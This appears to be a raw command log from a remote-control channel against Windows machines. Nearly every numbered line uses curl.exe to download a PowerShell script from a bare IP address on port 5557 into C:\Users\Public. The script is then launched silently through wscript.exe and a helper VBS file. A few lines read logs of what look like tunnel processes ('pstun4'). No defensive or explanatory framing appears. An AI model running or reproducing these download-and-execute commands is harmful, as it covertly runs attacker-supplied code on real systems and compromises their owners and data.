174|curl.exe -s -o C:\Users\Public\u174.ps1 --max-time 60 "http://159.223.110.159:5557/u174.ps1?v=174a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u174.ps1
173|curl.exe -s -o C:\Users\Public\u173.ps1 --max-time 60 "http://159.223.110.159:5557/u173.ps1?v=173a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u173.ps1
172|curl.exe -s -o C:\Users\Public\u172.ps1 --max-time 60 "http://159.223.110.159:5557/u172.ps1?v=172a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u172.ps1
171|curl.exe -s -o C:\Users\Public\u171.ps1 --max-time 60 "http://159.223.110.159:5557/u171.ps1?v=171a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u171.ps1
170|curl.exe -s -o C:\Users\Public\u170.ps1 --max-time 60 "http://159.223.110.159:5557/u170.ps1?v=170a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u170.ps1
169|curl.exe -s -o C:\Users\Public\u169.ps1 --max-time 60 "http://159.223.110.159:5557/u169.ps1?v=169a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u169.ps1
168|curl.exe -s -o C:\Users\Public\u168.ps1 --max-time 60 "http://159.223.110.159:5557/u168.ps1?v=168a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u168.ps1
167|curl.exe -s -o C:\Users\Public\u167.ps1 --max-time 60 "http://159.223.110.159:5557/u167.ps1?v=167a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u167.ps1
166|cmd.exe /c type C:\Users\Public\pstun4_5691.log & type C:\Users\Public\pstun4_5692.log & type C:\Users\Public\pstun4_5693.log & type C:\Users\Public\pstun4_5694.log & type C:\Users\Public\pstun4_5695.log & type C:\Users\Public\pstun4_5696.log
165|powershell -NoP -C "foreach($p in 5691,5692,5693,5694,5695){ $f='C:\Users\Public\pstun4_$p.log'; if(Test-Path $f){ '== '+$p+' =='; Get-Content $f -Tail 6 } }"
164|curl.exe -s -o C:\Users\Public\u164.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u164.ps1?v=164a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u164.ps1 & echo GO164
163|curl.exe -s -o C:\Users\Public\u163.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u163.ps1?v=163a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u163.ps1 & echo GO163
162|curl.exe -s -o C:\Users\Public\u162.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u162.ps1?v=162a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u162.ps1 & echo GO162
160|curl.exe -s -o C:\Users\Public\u160.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u160.ps1?v=160a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u160.ps1 & echo GO160
159|curl.exe -s -o C:\Users\Public\u159.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u159.ps1?v=159a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u159.ps1 & echo GO159
158|curl.exe -s -o C:\Users\Public\u158.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u158.ps1?v=158a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u158.ps1 & echo GO158
157|curl.exe -s -o C:\Users\Public\u157.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u157.ps1?v=157a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u157.ps1 & echo GO157
156|curl.exe -s -o C:\Users\Public\u156.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u156.ps1?v=156a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u156.ps1 & echo GO156
155|curl.exe -s -o C:\Users\Public\u155.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u155.ps1?v=155a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u155.ps1 & echo GO155
154|curl.exe -s -o C:\Users\Public\u154.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u154.ps1?v=154a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u154.ps1 & echo GO154
153|curl.exe -s -o C:\Users\Public\u153.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u153.ps1?v=153a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u153.ps1 & echo GO153
152|curl.exe -s -o C:\Users\Public\u152.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u152.ps1?v=152a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u152.ps1 & echo GO152
151|curl.exe -s -o C:\Users\Public\u151.ps1 -w R=%{http_code} --max-time 45 "http://159.223.110.159:5557/u151.ps1?v=1" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u151.ps1 & echo GO151
# syncprobe 093625